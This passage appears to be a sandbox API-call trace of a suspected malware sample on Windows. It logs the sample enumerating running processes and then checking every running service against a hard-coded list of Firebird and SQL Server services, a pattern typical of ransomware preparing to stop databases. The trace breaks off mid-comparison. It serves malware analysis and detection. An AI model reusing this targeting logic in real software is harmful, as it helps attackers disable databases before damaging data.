cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0115.613] lstrlenW (lpString="UsoClient.exe") returned 13 [0115.613] Process32NextW (in: hSnapshot=0x330, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0115.614] lstrlenW (lpString="taskhostw.exe") returned 13 [0115.614] Process32NextW (in: hSnapshot=0x330, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0115.615] lstrlenW (lpString="msoia.exe") returned 9 [0115.615] Process32NextW (in: hSnapshot=0x330, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0115.615] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0115.615] Process32NextW (in: hSnapshot=0x330, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0115.616] lstrlenW (lpString="msoia.exe") returned 9 [0115.616] Process32NextW (in: hSnapshot=0x330, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0115.617] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0115.617] Process32NextW (in: hSnapshot=0x330, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0115.617] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0115.617] Process32NextW (in: hSnapshot=0x330, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver fireplace subdivision.exe")) returned 1 [0115.618] lstrlenW (lpString="screensaver fireplace subdivision.exe") returned 37 [0115.618] Process32NextW (in: hSnapshot=0x330, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="arc obviously.exe")) returned 1 [0115.619] lstrlenW (lpString="arc obviously.exe") returned 17 [0115.619] Process32NextW (in: hSnapshot=0x330, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="scholars.exe")) returned 1 [0115.619] lstrlenW (lpString="scholars.exe") returned 12 [0115.619] Process32NextW (in: hSnapshot=0x330, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="isolatedconcerned.exe")) returned 1 [0115.620] lstrlenW (lpString="isolatedconcerned.exe") returned 21 [0115.620] Process32NextW (in: hSnapshot=0x330, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="organizing.exe")) returned 1 [0115.621] lstrlenW (lpString="organizing.exe") returned 14 [0115.621] Process32NextW (in: hSnapshot=0x330, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="campus.exe")) returned 1 [0115.621] lstrlenW (lpString="campus.exe") returned 10 [0115.621] Process32NextW (in: hSnapshot=0x330, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="mug.exe")) returned 1 [0115.622] lstrlenW (lpString="mug.exe") returned 7 [0115.622] Process32NextW (in: hSnapshot=0x330, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="petitionswapdame.exe")) returned 1 [0115.623] lstrlenW (lpString="petitionswapdame.exe") returned 20 [0115.623] Process32NextW (in: hSnapshot=0x330, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xce4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="quantum-appeals-das.exe")) returned 1 [0115.623] lstrlenW (lpString="quantum-appeals-das.exe") returned 23 [0115.623] Process32NextW (in: hSnapshot=0x330, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="powers mixture.exe")) returned 1 [0115.624] lstrlenW (lpString="powers mixture.exe") returned 18 [0115.624] Process32NextW (in: hSnapshot=0x330, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="federation-customs-denial.exe")) returned 1 [0115.625] lstrlenW (lpString="federation-customs-denial.exe") returned 29 [0115.625] Process32NextW (in: hSnapshot=0x330, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="bachelor.exe")) returned 1 [0115.626] lstrlenW (lpString="bachelor.exe") returned 12 [0115.626] Process32NextW (in: hSnapshot=0x330, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wrist-exhaust-wires.exe")) returned 1 [0115.627] lstrlenW (lpString="wrist-exhaust-wires.exe") returned 23 [0115.627] Process32NextW (in: hSnapshot=0x330, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="indication wage paying.exe")) returned 1 [0115.628] lstrlenW (lpString="indication wage paying.exe") returned 26 [0115.628] Process32NextW (in: hSnapshot=0x330, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="thee pub emission.exe")) returned 1 [0115.628] lstrlenW (lpString="thee pub emission.exe") returned 21 [0115.628] Process32NextW (in: hSnapshot=0x330, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0115.629] lstrlenW (lpString="dllhost.exe") returned 11 [0115.629] Process32NextW (in: hSnapshot=0x330, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="expenditure_recruitment.exe")) returned 1 [0115.645] lstrlenW (lpString="expenditure_recruitment.exe") returned 27 [0115.645] Process32NextW (in: hSnapshot=0x330, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="compiler_transportation.exe")) returned 1 [0115.646] lstrlenW (lpString="compiler_transportation.exe") returned 27 [0115.646] Process32NextW (in: hSnapshot=0x330, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upgrading.exe")) returned 1 [0115.647] lstrlenW (lpString="upgrading.exe") returned 13 [0115.647] Process32NextW (in: hSnapshot=0x330, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="opened_conservative_warnings.exe")) returned 1 [0115.649] lstrlenW (lpString="opened_conservative_warnings.exe") returned 32 [0115.649] Process32NextW (in: hSnapshot=0x330, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="russell.exe")) returned 1 [0115.650] lstrlenW (lpString="russell.exe") returned 11 [0115.650] Process32NextW (in: hSnapshot=0x330, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfa4, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0115.651] lstrlenW (lpString="conhost.exe") returned 11 [0115.651] Process32NextW (in: hSnapshot=0x330, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xf84, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0115.652] lstrlenW (lpString="conhost.exe") returned 11 [0115.652] Process32NextW (in: hSnapshot=0x330, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.653] lstrlenW (lpString="svchost.exe") returned 11 [0115.653] Process32NextW (in: hSnapshot=0x330, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="1csrss.exe")) returned 1 [0115.654] lstrlenW (lpString="1csrss.exe") returned 10 [0115.654] Process32NextW (in: hSnapshot=0x330, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0115.654] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0115.655] Process32NextW (in: hSnapshot=0x330, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x540, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0116.615] lstrlenW (lpString="conhost.exe") returned 11 [0116.615] Process32NextW (in: hSnapshot=0x330, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xff4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0116.616] lstrlenW (lpString="cmd.exe") returned 7 [0116.616] Process32NextW (in: hSnapshot=0x330, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd98, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0116.617] lstrlenW (lpString="conhost.exe") returned 11 [0116.617] Process32NextW (in: hSnapshot=0x330, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.618] lstrlenW (lpString="svchost.exe") returned 11 [0116.618] Process32NextW (in: hSnapshot=0x330, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xd98, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0116.619] lstrlenW (lpString="mode.com") returned 8 [0116.619] Process32NextW (in: hSnapshot=0x330, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xd98, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0116.620] CloseHandle (hObject=0x330) returned 1 [0116.620] Sleep (dwMilliseconds=0x1f4) [0117.578] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5eeca0 [0117.578] EnumServicesStatusExW (in: hSCManager=0x5eeca0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0) returned 0 [0117.579] GetLastError () returned 0xea [0117.579] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1d5a) returned 0x6110e0 [0117.579] EnumServicesStatusExW (in: hSCManager=0x5eeca0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x6110e0, cbBufSize=0x1d5a, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x6110e0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0) returned 1 [0117.580] CloseServiceHandle (hSCObject=0x5eeca0) returned 1 [0117.580] lstrlenW (lpString="Appinfo") returned 7 [0117.580] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0117.580] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0117.580] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0117.580] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0117.580] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0117.580] lstrlenW (lpString="AppXSvc") returned 7 [0117.581] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0117.581] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0117.581] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0117.581] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0117.581] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0117.581] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0117.581] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0117.581] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0117.581] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0117.581] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0117.581] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0117.581] lstrlenW (lpString="Audiosrv") returned 8 [0117.581] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0117.581] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0117.581] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0117.581] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0117.581] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0117.581] lstrlenW (lpString="BFE") returned 3 [0117.581] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0117.581] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0117.581] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0117.581] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0117.581] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0117.581] lstrlenW (lpString="BITS") returned 4 [0117.581] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0117.581] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0117.581] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0117.581] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0117.581] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0117.581] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0117.581] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0117.581] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0117.581] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0117.581] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0117.582] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0117.582] lstrlenW (lpString="CDPSvc") returned 6 [0117.582] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0117.582] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0117.582] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0117.582] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0117.582] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0117.582] lstrlenW (lpString="ClickToRunSvc") returned 13 [0117.582] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0117.582] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0117.582] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0117.582] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0117.582] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0117.582] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0117.582] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0117.582] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0117.582] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0117.582] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0117.582] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0117.582] lstrlenW (lpString="CryptSvc") returned 8 [0117.582] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0117.582] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0117.582] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0117.582] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0117.582] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0117.582] lstrlenW (lpString="DcomLaunch") returned 10 [0117.582] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0117.582] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0117.582] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0117.582] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0117.582] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0117.582] lstrlenW (lpString="DeviceAssociationService") returned 24 [0117.583] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0117.583] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0117.583] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0117.583] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0117.583] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0117.583] lstrlenW (lpString="Dhcp") returned 4 [0117.583] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0117.583] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0117.583] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0117.583] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0117.583] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0117.583] lstrlenW (lpString="Dnscache") returned 8 [0117.583] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0117.583] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0117.583] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0117.583] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0117.583] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0117.583] lstrlenW (lpString="DoSvc") returned 5 [0117.583] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0117.583] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0117.583] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0117.583] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0117.583] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0117.583] lstrlenW (lpString="DPS") returned 3 [0117.583] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0117.583] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0117.583] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0117.583] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0117.583] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0117.583] lstrlenW (lpString="DusmSvc") returned 7 [0117.583] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0117.583] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0117.583] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0117.583] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0117.583] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0117.584] lstrlenW (lpString="EventLog") returned 8 [0117.584] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0117.584] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0117.584] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0117.584] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0117.584] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0117.584] lstrlenW (lpString="EventSystem") returned 11 [0117.584] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0117.584] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0117.584] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0117.584] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0117.584] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0117.584] lstrlenW (lpString="FontCache") returned 9 [0117.584] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0117.584] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0117.584] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0117.584] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0117.584] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0117.584] lstrlenW (lpString="gpsvc") returned 5 [0117.584] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0117.584] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0117.584] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0117.584] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0117.584] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0117.584] lstrlenW (lpString="iphlpsvc") returned 8 [0117.584] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0117.584] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0117.584] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0117.584] lstrcmpiW (lpString1="mssqlserver", 